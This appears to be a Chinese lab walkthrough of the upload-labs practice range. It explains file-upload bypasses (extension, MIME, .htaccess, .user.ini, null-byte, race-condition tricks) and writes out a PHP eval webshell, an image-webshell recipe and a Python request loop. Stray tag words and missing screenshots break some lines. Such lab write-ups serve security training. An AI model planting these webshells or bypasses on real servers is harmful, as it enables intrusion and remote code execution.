upload-labs

項目地址:https://github.com/c0ny1/upload-labsphp

Pass-01:在客戶端使用JS進行驗證

1.使用burp將全部JS刪除,再上傳phpinfo.php或者F12刪除JS,再上傳php文件。html

而後能夠直接上傳php文件,不須要考慮什麼了。python

上傳成功。git

2.繞過JS驗證github

先關閉burp的刪除JS選項,從新上傳phpinfo.php,上傳失敗。web

從新上傳並使用burp攔截,並將後綴名從jpg改成php。shell

上傳成功。數組

Pass-02:MIME-Type驗證

MIME-Type介紹:瀏覽器

MIME(Multipurpose Internet Mail Extensions)多用途互聯網郵件擴展類型。是設定某種擴展名的文件用一種應用程序來打開的方式類型,當該擴展名文件被訪問的時候,瀏覽器會自動使用指定應用程序來打開。多用於指定一些客戶端自定義的文件名,以及一些媒體文件打開方式。服務器

繞過MIME-Type:

上傳成功。

Pass-03:黑名單驗證,後綴名

基於文件後綴名驗證方式的分類:
一、基於白名單驗證:只針對白名單中有的後綴名,文件才能上傳成功。
二、基於黑名單驗證:只針對黑名單中沒有的後綴名,文件才能上傳成功。
這一關禁止.jsp、.php、.asp、.aspx後綴名的文件上傳。

可是能夠其餘後綴名嘛,例如php一、php二、phtml、php5等等。

注:上傳成功後,文件名會被更改,因此須要查看文件上傳的位置以及文件名。

Pass-04:黑名單驗證,.htaccess

禁止的有點多,可是沒有htaccess。

htaccess文件介紹:

htaccess文件是Apache服務器中的一個配置文件,它負責相關目錄下的網頁配置。經過htaccess文件,能夠幫咱們實現:網頁301重定向、自定義404錯誤頁面、改變文件擴展名、容許/阻止特定的用戶或者目錄的訪問、禁止目錄列表、配置默認文檔等功能。
其中.htaccess文件內容:
SetHandler application/x-httpd-php
設置當前目錄全部文件都使用PHP解析,那麼不管上傳任何文件,只要文件內容符合PHP語言代碼規範,就會被看成PHP執行。不符合則報錯。

建立1.htaccess,並將其上傳:

<FilesMatch "上傳的圖片馬的文件名"
SetHandler application/x-httpd-php
</FilesMatch>

再上傳圖片馬便可。

Pass-05:黑名單驗證,.user.ini

這一關,先上傳一個以auto_prepend_file=1.gif爲內容的.user.ini文件,而後再上傳一個內容爲php的一句話的腳本,命名爲1.gif,.user.ini文件裏面的意思是:全部的php文件都自動包含1.gif文件。.user.ini至關於一個用戶自定義的php.ini。

參考連接:csdn

Pass-06:黑名單驗證,大小寫繞過

這一關將htaccess也ban了。

大小寫繞過原理:

Windows系統下,對於文件名中的大小寫不敏感。例如:test.php和TeSt.PHP是同樣的。
Linux系統下,對於文件名中的大小寫敏感。例如:test.php和 TesT.php就是不同的。

訪問文件

Pass-07:黑名單驗證,空格繞過

Windows系統下,對於文件名中空格會被做爲空處理,程序中的檢測代碼卻不能自動刪除空格。從而繞過黑名單。
針對這樣的狀況須要使用Burpsuite階段HTTP請求以後,修改對應的文件名 添加空格。

上傳成功。

Pass-08:黑名單驗證,點號繞過

.號繞過原理:

Windows系統下,文件後綴名最後一個點會被自動去除。

上傳成功

Pass-09:黑名單驗證,::$DATA繞過

特殊符號繞過原理:

Windows系統下,若是上傳的文件名中test.php::$DATA會在服務器上生成一個test.php的文件,其中內容和所上傳文件內容相同,並被解析。

Pass-10:黑名單驗證,點號繞過拼接並繞過前面的兩次過濾

這一關是將文件名進行過濾操做後,將文件名拼接在路徑後面,因此須要繞過前面的首尾去空以及去點。

Pass-11:黑名單驗證,雙寫繞過

這一關是用str_ireplace函數將符合黑名單中的後綴名進行替換爲空。因此能夠雙寫繞過。

這個匹配是從左往右的匹配,不要雙寫成phphpp,這樣過濾後就成了hpp。

Pass-12:白名單驗證,GET型0x00截斷

這一關,須要php的版本號低於5.3.29,且magic_quotes_gpc爲關閉狀態。

Pass-13:白名單驗證,POST型0x00截斷

這一關和Pass-12的區別是,00截斷是用在POST中,且是在二進制中進行修改。由於POST不會像GET那樣對%00進行自動解碼。

Pass-14:圖片馬,文件包含利用

製做圖片馬:

copy 1.jpg/a + 1.txt/b 2.jpg

1.txt中的內容爲一句話木馬,1.jpg則是一張圖片。生成的圖片馬是2.jpg。

順利的上傳圖片馬,圖片名會從新命名,因此burp上傳,記得看一下。

利用include.php實現文件包含(自帶有):

<?php
/*
本頁面存在文件包含漏洞,用於測試圖片馬是否能正常運行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?>

蟻劍鏈接一句話:

Pass-15:圖片馬,文件包含利用

同pass-14,傳同樣的圖片馬就好。

注:這裏可能會有一些問題,就是copy製做的圖片馬,製做出來後,圖像是損壞的,那麼15關就過不去。因此能夠利用winhex之類的工具,講一句話加在圖片的後面。這樣就能過了。

一樣,利用起來仍是文件包含。

Pass-16:圖片馬,文件包含

這一關須要開啓php_exif模塊。phpstudy很好打開此模塊。

同前兩關,能過Pass-15的圖片馬就能過這關。

Pass-17:圖片馬加二次渲染

這裏使用容易繞過二次渲染的gif文件。如今製做一個gif圖片馬,copy就能夠了。也能夠winhex製做。

製做後便上傳,發現沒法利用。而後將上傳的圖片從新下載下來,放入winhex,進行對比。

能夠找到二次渲染後不變的地方,而這個地方就是能夠插入一句話的地方。

上傳修改好的圖片馬,蟻劍鏈接成功。

Pass-18:白名單驗證,條件競爭

這一關是先上傳再判斷,因此實在判斷前就對上傳的文件進行請求。

先建立一個webshell.php,內容爲

<?php
    fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]) ?>');
?>

再使用python不斷請求

import requests
while 1:
    requests.get("http://192.168.84.131/upload-labs/upload/webshell.php")

運行python代碼,再開始上傳php文件。

可是這裏使用python請求,虛擬機配置不高 很快就gg。

因此改哈這一關的代碼:

從新開始

請求成功,看看是否有shell.php

蟻劍鏈接成功。

Pass-19:白名單驗證,圖片馬

這一關相比18關,上傳的文件就必須是白名單中的文件。

Pass-19.jpg是包含18關的webshell.php的內容的圖片馬。畢竟是先檢查後綴的。

這裏上傳的文件以及生成的shell.php會出如今upload-labs目錄中。

而後再訪問http://ip/upload-labs/include.php?file=./對應的文件名。就能夠生成shell.php。

也能夠直接上傳14~16關的那種圖片馬,固然也須要知道從新命名後的文件名,再利用文件包含便可。同14~16關差很少,惟一多了一步就是須要肯定上傳的文件的文件名以及位置。

Pass-20:黑名單驗證,點號繞過

驗證是否成功。

Pass-21:白名單驗證,數組繞過

參考連接:csdn

這一關能夠直接像14關那樣,圖片馬,文件包含直接過。

如下是參考的數組繞過

以後蟻劍鏈接便可。

本站公眾號
   歡迎關注本站公眾號,獲取更多信息